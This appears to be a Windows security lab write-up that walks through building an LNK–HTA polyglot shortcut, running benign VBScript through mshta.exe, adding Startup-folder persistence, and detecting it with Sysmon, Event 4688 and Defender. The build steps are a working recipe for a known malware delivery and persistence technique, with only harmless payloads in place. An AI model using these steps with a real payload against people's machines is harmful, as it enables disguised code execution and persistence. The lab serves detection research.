analyst@windows-lab:~$ inspect windows/lnk-hta-polyglot-code-execution-detection-persistence
LNK–HTA Polyglot Lab: Code Execution, Detection & Persistence
A controlled Windows research lab that builds a benign LNK–HTA polyglot, studies its execution chain, maps forensic telemetry and tests safe Startup persistence.
- Status
- Research blueprint — practical validation pending
- Category
- Windows Security
- Type
- detection engineering
- Difficulty
- Intermediate
- Estimated time
- 60–90 minutes
- Published
- 1 September 2026
- Last updated
- 1 September 2026
Controlled lab use only. Do not send the resulting file to another person and do not test this technique on a system without explicit authorization. The core lab uses only a message box and a marker file—never a reverse shell or real malware.
Executive summary
This lab reproduces the LNK–HTA polyglot technique demonstrated by John Hammond. A Windows shortcut remains a valid .lnk file while also carrying appended HTA/VBScript content. The shortcut invokes mshta.exe against its own final file: Windows Shell reads the initial Shell Link structure, while MSHTA continues parsing until it reaches and executes the appended HTA section.
The objective is not merely to achieve code execution. The experiment is designed to examine the complete execution chain, compare static and behavioral detection, identify useful forensic artifacts and evaluate a harmless Startup-persistence scenario.
| Field | Value |
|---|---|
| Validation state | Research blueprint — practical validation pending |
| Difficulty | Intermediate |
| Estimated time | 60–90 minutes |
| Environment | Isolated Windows 10/11 VM |
| Payload policy | Message box and benign marker file only |
| Primary focus | Execution, telemetry, detection and cleanup |
Learning objectives
- Understand the structure and behavior of a Windows
.lnkfile. - Construct a polyglot
.lnk+.htausing a harmless payload. - Observe process ancestry and host forensic artifacts.
- Compare static file detection with behavioral detection.
- Optionally validate Startup persistence using only a marker file.
- Restore the environment and document the results honestly.
Technique: why the same file works twice
The polyglot combines two independently interpretable sections:
[binary Windows Shell Link structure][appended HTML/HTA/VBScript]
When the user opens the file through Explorer, Windows processes the valid Shell Link structure at the beginning and follows its configured target. The target launches cmd.exe, which then asks the signed Windows binary mshta.exe to open the same .lnk file.
MSHTA uses a permissive HTML parser. The binary data at the beginning is not meaningful HTML, but the parser can continue until it encounters recognizable HTML and script content. The appended HTA section is then interpreted and executed. This difference between how Windows Shell and MSHTA parse the same bytes is what makes the file a polyglot.
Attack flow
Expected process ancestry:
explorer.exe
└── cmd.exe
└── mshta.exe
├── cmd.exe
└── notepad.exe
MITRE ATT&CK mapping
- T1204.002 — User Execution: Malicious File
- T1218.005 — System Binary Proxy Execution: Mshta
- T1036 — Masquerading
- T1547.009 — Shortcut Modification applies only to the optional persistence phase.
The mapping describes behaviors studied in the controlled lab. It does not mean that every LNK file or every use of mshta.exe is malicious.
Lab architecture
Minimum setup
- One Windows 10 or Windows 11 virtual machine.
- Microsoft Defender enabled.
- A VM snapshot taken before the experiment.
- Host-only networking or no network connection.
Recommended setup
- Windows 10/11 VM as the target.
- Sysmon for process, file and optional network telemetry.
- An optional second VM used only for log collection or a benign HTTP canary.
- No production accounts, personal data, shared folders or access to an organizational network.
Preparation
- Create a VM snapshot named
before-lnk-hta-lab. - Use only
C:\Lab\LnkHtaas the working directory. - Keep Microsoft Defender enabled. A block is a successful detection result; do not bypass it.
- Record the Windows build, Defender version and start time.
Open PowerShell as a standard user:
New-Item -ItemType Directory -Path 'C:\Lab\LnkHta' -Force
Set-Location 'C:\Lab\LnkHta'
Get-Date | Set-Content '.\lab-start.txt'
Get-ComputerInfo |
Select-Object WindowsProductName, WindowsVersion, OsBuildNumber |
Out-File '.\system-info.txt'
Phase 1 — Validate a simple HTA
Create C:\Lab\LnkHta\code.hta with the following benign content:
<html>
<head>
<title>John Hammond LNK-HTA Lab</title>
<HTA:APPLICATION
ID="JHLab"
APPLICATIONNAME="John Hammond Lab"
SHOWINTASKBAR="no"
WINDOWSTATE="minimize" />
<script language="VBScript">
Sub Window_OnLoad
MsgBox "The benign HTA executed inside the isolated lab.", 64, "John Hammond Lab"
window.close
End Sub
</script>
</head>
<body></body>
</html>
Test the file directly:
mshta.exe C:\Lab\LnkHta\code.hta
Expected result: one message box appears and the HTA closes. This establishes a simple control before adding the LNK layer.
Phase 2 — Create the blueprint shortcut
- Inside
C:\Lab\LnkHta, right-click and select New → Shortcut. - Set the initial location to
C:\Windows\System32\cmd.exe. - Name the shortcut
blueprint.lnk. - Open Properties and configure the following values:
Target:
C:\Windows\System32\cmd.exe /d /c start "" "%SystemRoot%\System32\mshta.exe" "C:\Lab\LnkHta\Chrome.lnk"
Start in:
C:\Lab\LnkHta
Run:
Minimized
The shortcut does not open code.hta directly. It instructs mshta.exe to interpret the final polyglot, Chrome.lnk. The final file therefore acts as a shortcut to Explorer and as HTA input to MSHTA.
Changing the icon to a browser icon can demonstrate masquerading. In a personal lab, however, prefer an unmistakable name such as JH-Lab.lnk so the test artifact cannot be confused with a real application.
Phase 3 — Construct the polyglot
Open Command Prompt in the lab directory:
cd /d C:\Lab\LnkHta
copy /b "blueprint.lnk"+"code.hta" "Chrome.lnk"
The /b option requests binary copying. The final file contains the original LNK bytes followed by the HTA content.
Verify that a new, larger file was created and calculate its hash:
Get-Item `
'C:\Lab\LnkHta\blueprint.lnk',
'C:\Lab\LnkHta\code.hta',
'C:\Lab\LnkHta\Chrome.lnk' |
Select-Object Name, Length, LastWriteTime
Get-FileHash 'C:\Lab\LnkHta\Chrome.lnk' -Algorithm SHA256
Record the SHA-256 value with the lab results. After every change to code.hta, run copy /b again because the existing polyglot is not updated automatically.
Phase 4 — Safe execution
Double-click Chrome.lnk inside the isolated VM.
Successful polyglot execution means:
- Explorer accepts the file as a normal shortcut.
- The shortcut starts
cmd.exeminimized. cmd.exelaunchesmshta.exe.mshta.exereads the HTA section embedded in the same.lnkfile.- The harmless message box appears.
If Microsoft Defender blocks the operation, record the alert, detection name, timestamp and process tree. Do not disable Defender or attempt to evade the detection.
Phase 5 — Benign marker instead of a reverse shell
Replace only the <script> section in code.hta with the following VBScript. It writes a marker under %TEMP% and opens that marker in Notepad:
<script language="VBScript">
Sub Window_OnLoad
Set shell = CreateObject("WScript.Shell")
shell.Run "cmd.exe /d /c echo LNK-HTA-LAB-EXECUTED>%TEMP%\lnk-hta-lab.txt", 0, True
shell.Run "notepad.exe %TEMP%\lnk-hta-lab.txt", 1, False
window.close
End Sub
</script>
Rebuild the polyglot:
cd /d C:\Lab\LnkHta
copy /b /y "blueprint.lnk"+"code.hta" "Chrome.lnk"
Verify the marker:
Get-Content "$env:TEMP\lnk-hta-lab.txt"
This demonstrates arbitrary command execution without creating a command-and-control channel.
Detection and forensics
Windows Security Event 4688
If Audit Process Creation and command-line auditing are enabled, review Event ID 4688 for:
cmd.exewithexplorer.exeas its parent.mshta.exereceiving a.lnkfile as an argument.- A child process of
mshta.exe, especiallycmd.exe,powershell.exe,wscript.exeor an unfamiliar executable.
Sysmon telemetry
Useful event IDs include:
1— Process Create.3— Network Connection, only for the optional canary phase.11— File Create for the marker.15— FileCreateStreamHash for Alternate Data Streams orZone.Identifier, where applicable.
Example PowerShell filter:
Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 1,3,11,15
StartTime = (Get-Date).AddHours(-2)
} | Where-Object {
$_.Message -match 'mshta.exe|Chrome.lnk|lnk-hta-lab.txt'
} | Select-Object TimeCreated, Id, Message
Microsoft Defender
Review:
Event Viewer
└── Applications and Services Logs
└── Microsoft
└── Windows
└── Windows Defender
└── Operational
Record:
- Whether the
.lnkfile was blocked statically. - Whether execution was blocked when the HTA/VBScript ran.
- Whether the alert was based on a child process or behavioral detection.
- Whether a small benign modification and resulting hash produced a different result.
Static triage
- Inspect a copy of the polyglot in a hex editor or with
stringsand locate the<html>marker. - Compare the size of
blueprint.lnkwithChrome.lnk. - Inspect the shortcut target, arguments, working directory and icon.
- If Zimmerman Tools are available, parse the LNK with
LECmdand preserve the output with the event logs.
Control and telemetry matrix
The same benign sample is tested in three phases to compare the evidence produced by each behavior:
| Phase | Benign payload | What is measured |
|---|---|---|
| A | Message box only | Static scan and the basic process tree |
| B | Marker file and Notepad | Child-process and file telemetry |
| C | Optional HTTP canary on a second host-only VM | Network telemetry without a reverse shell |
For Phase C, use only a personally controlled HTTP server on the host-only network and a simple request that records a check-in. Do not use an interactive shell, tunneling or external infrastructure. The purpose is to determine whether the available telemetry correlates mshta.exe with an outbound connection.
Optional benign Startup persistence
Use the obvious name
JH-LNK-HTA-Lab.lnk, keep the payload harmless and complete the cleanup. Never replace a real shortcut.
Copy the lab artifact to the current user’s Startup directory so it runs at the next login:
$source = 'C:\Lab\LnkHta\Chrome.lnk'
$startup = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup'
$destination = Join-Path $startup 'JH-LNK-HTA-Lab.lnk'
Copy-Item -LiteralPath $source -Destination $destination
Sign out and sign in, then confirm that only the harmless marker is created again. This models Startup execution associated with T1547.009 without introducing a malicious payload.
Mitigations and detection opportunities
- Block or restrict
mshta.exewith App Control for Business/WDAC where it is not required. - Monitor
mshta.exewhen it receives a.lnk, remote URL or user-writable path as an argument. - Alert when
mshta.execreates a child process or initiates a network connection. - Enable relevant Defender Attack Surface Reduction rules for obfuscated scripts and downloaded executable content.
- Keep real file extensions visible and teach users that shortcuts can execute commands.
- Inspect LNK attachments, shortcuts inside archives and shortcuts originating from USB or shared locations.
- Apply application allowlisting and least privilege.
A practical behavioral detection should combine multiple signals rather than treating the presence of mshta.exe alone as conclusive. A high-value sequence is:
Explorer opens a user-controlled LNK
+ LNK starts a command interpreter
+ MSHTA receives the LNK as input
+ MSHTA creates a script interpreter or command-shell child
+ a new file or network connection follows
Troubleshooting
The polyglot opens only Command Prompt or no message box appears
- Confirm that the shortcut target references the final
Chrome.lnk, notblueprint.lnk. - Confirm that
code.htaappears second in thecopy /bcommand. - Check all quotes in the target and verify that Start in is
C:\Lab\LnkHta. - Rebuild
Chrome.lnkafter every code change.
Microsoft Defender blocks the file
- Do not disable Defender.
- Preserve the screenshot, alert name and event timestamp.
- Export the related Defender and Sysmon events.
- Treat the block as a successful result for the detection portion of the lab.
Event ID 4688 is unavailable
- Audit Process Creation may not be enabled.
- Use Sysmon, Process Explorer or Process Monitor to capture the process tree.
- Do not change a production or domain Group Policy for this experiment.
Cleanup and restoration
Remove only the named lab artifacts:
$startupItem = Join-Path $env:APPDATA 'Microsoft\Windows\Start Menu\Programs\Startup\JH-LNK-HTA-Lab.lnk'
Remove-Item -LiteralPath $startupItem -Force -ErrorAction SilentlyContinue
Remove-Item -LiteralPath "$env:TEMP\lnk-hta-lab.txt" -Force -ErrorAction SilentlyContinue
Remove-Item -LiteralPath 'C:\Lab\LnkHta' -Recurse -Force
Then complete the restoration checks:
- Confirm that no lab shortcut remains in Startup.
- Sign out and sign in, then verify that the marker does not reappear.
- Preserve required logs and screenshots outside the snapshot.
- Revert the VM to the clean snapshot.
Completion criteria
- A functional LNK–HTA polyglot was created.
- Only a benign payload was executed.
- The complete process tree was recorded.
- At least two forensic artifacts were identified.
- Startup persistence was either tested or fully documented.
- Microsoft Defender behavior was recorded.
- Cleanup or snapshot restoration was completed.
Reflection questions
- Which stage was detected first: the file, the script or the behavior?
- Which telemetry remains stable if the icon and filename change?
- What changes when the file originated from a download and carries
Zone.Identifier? - Which detection logic is likely to produce the fewest false positives?
- Why is
mshta.execonsidered a LOLBin even though it is signed by Microsoft?
Practical validation record
The fields below will be updated from the real lab session. They intentionally remain pending until evidence has been collected.
| Evidence | Current value |
|---|---|
| Execution date | Pending |
| Windows build | Pending |
| Defender detection | Pending |
| SHA-256 | Pending |
| Observed process tree | Pending |
| What failed | Pending |
| Changes for the next test | Pending |
References and attribution
- John Hammond — LNK+HTA polyglot demonstration. This lab reproduces the demonstrated technique with harmless payloads and extends it with a control/telemetry matrix, persistence validation, detection analysis and mandatory cleanup.
- Hatching — LNK HTA Polyglot
- MITRE ATT&CK — Mshta, T1218.005
- Microsoft — App Control script enforcement
- Microsoft Defender — Attack Surface Reduction rules
- Microsoft Sysinternals — Sysmon
- Microsoft Security Blog — Raspberry Robin and malicious LNK usage